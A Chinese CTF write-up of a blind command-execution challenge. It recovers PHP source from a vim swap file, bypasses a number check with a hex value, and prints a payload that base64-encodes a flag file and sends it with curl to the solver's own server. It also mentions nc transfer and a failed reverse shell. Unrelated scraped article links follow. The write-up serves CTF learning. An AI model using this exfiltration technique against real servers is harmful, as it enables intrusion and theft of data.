i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)
查看源码得知由vim编写,所以查找备份以及交换文件

找到 /.index.php.swp ,下载后用vim -r恢复该文件即可得到源码

1 <html>
2 <head>
3 <title>blind cmd exec</title>
4 <meta language='utf-8' editor='vim'>
5 </head>
6 </body>
7 <img src=pic.gif>
8 <?php
9 /*
10 flag in flag233.php
11 */
12 function check($number)
13 {
14 $one = ord('1');
15 $nine = ord('9');
16 for ($i = 0; $i < strlen($number); $i++)
17 {
18 $digit = ord($number{$i});
19 if ( ($digit >= $one) && ($digit <= $nine) )
20 {
21 return false;
22 }
23 }
24 return $number == '11259375';
25 }
26 if(isset($_GET[sign])&& check($_GET[sign])){
27 setcookie('auth','tcp tunnel is forbidden!');
28 if(isset($_POST['cmd'])){
29 $command=$_POST[cmd];
30 $result=exec($command);
31 //echo $result;
32 }
33 }else{
34 die('no sign');
35 }
36 ?>
37 </body>
38 </html>
要执行 exec($command) 需要有一个GET参数传进来,应该是传一个sign,而且sign要满足上述代码中的check()函数,可以用 11259375 的16进制绕过

没有no sign说明绕过成功
接下来便可以执行任意命令,代码中已经提示了flag在 flag233.php 文件中,只要读取这个文件即可,但是这里不会有任何回显,所以得让目标服务器带着该文件的内容访问自己的服务器,然后再在自己服务器上查看日志。
看几条linux命令

data=$(cat x.txt); 相当于创建了值为x.txt内容的一个变量,用$data可引用该变量,通过管道符 | 和 base64 命令,可将目标base64编码,curl 可访问目标url,这会在目标服务器留下日志。
所以构造
cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data;
对该文件base64编码是因为直接传输的话数据可能会因为某些字符而中断

然后查看自己服务器上的日志


当然还可以直接用nc传输文件。
但是反弹shell试过了,没有成功,可能有对某些命令进行过滤
i春秋——“百度杯”CTF比赛 十月场——EXEC(命令执行、带外通道传输数据)的更多相关文章
- [i春秋]“百度杯”CTF比赛 十月场-Hash
前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...
- "百度杯"CTF比赛 十月场——EXEC
"百度杯"CTF比赛 十月场--EXEC 进入网站页面 查看源码 发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb ...
- i春秋 百度杯”CTF比赛 十月场 login
出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的logi ...
- i春秋-“百度杯”CTF比赛 十月场-Login
源码发下提示 尝试登陆 得到个什么鬼, 但是相应包里发现个可疑的东西 // CTF中的0 和1 这些一般都有套路的 然后在请求头里 改为 1 ##代码审计来了.. 分析了半天 后来看了别人的 ...
- i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor
0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们 ...
- i春秋——“百度杯”CTF比赛 十月场——Not Found(http请求方法,client-ip伪造ip)
这道题也是让我很迷... 打开就是not found,让我一度以为是服务器挂了,细看发现有个404.php 访问也没发现什么东西,只有来自出题人的嘲讽 haha~ 不过在首页的header中发现个奇怪 ...
- i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)
需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...
- i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)
打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>" ...
- i春秋——“百度杯”CTF比赛 十月场——Login
根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 <?php inc ...
随机推荐
- 【使用篇二】SpringBoot整合jsp(6)
1. pom.xml中添加jstl和jasper springboot不推荐使用jsp,所以在spring-boot-starter-web启动器中并没有包括这两个,所以我们需要单独引入: <! ...
- 在 Asp.Net Core 中安装 MVC
在 ASP.NET Core 中安装 MVC 到目前为止,我们在本系列视频中使用的 ASP.NET Core 项目是使用“空”项目模板生成的.目前这个项目没有设置和安装 MVC. 两个步骤学会在 AS ...
- JS判断是否是ioS或者Android
每个客户端都带有自身的UA标识,通过JavaScript,可以获取客户端标识,我们可以获取浏览器的userAgent,用正则来判断手机是ios(苹果)还是Android(安卓)客户端. 项目实例:ht ...
- day 22
Creativity requires the courage to let go of certainties. 创新需要勇气承担不确定性.
- Lambda 表达式已阅
Lambda 表达式已阅 君子之间淡如水,何谓淡如水?并不时常想起,但却无处不在. 背景:This is f**king why we code? 可以让Java 代码异常简洁的Lambda 表达式, ...
- Spring Boot下Bean定义方式及调用方式
我们知道如果我们要在一个类使用spring提供的bean对象,我们需要把这个类注入到spring容器中,交给spring容器进行管理,但是在实际当中,我们往往会碰到在一个普通的Java类中,想直接使用 ...
- Spring @ContextConfiguration注解
原文地址:https://www.cnblogs.com/bihanghang/p/10023759.html @ContextConfiguration这个注解通常与@RunWith(SpringJ ...
- HTTP之Web服务器是如何进行工作的!
Web服务器是如何进行工作的 ====================文章摘自<HTTP权威指南>====================== 1. 建立连接—接收一个客户端的连接,或者 ...
- eclipse jvm 参数配置
双击tomcat服务器---->打开启动配置--->VM 自变量
- Python '\r', '\n', '\r\n' 的彻底理解
回车和换行的历史: 机械打字机有回车和换行两个键作用分别是: 换行就是把滚筒卷一格,不改变水平位置. (即移到下一行,但不是行首,而是和上一行水平位置一样) 回车就是把水平位置复位,不卷动滚筒. ...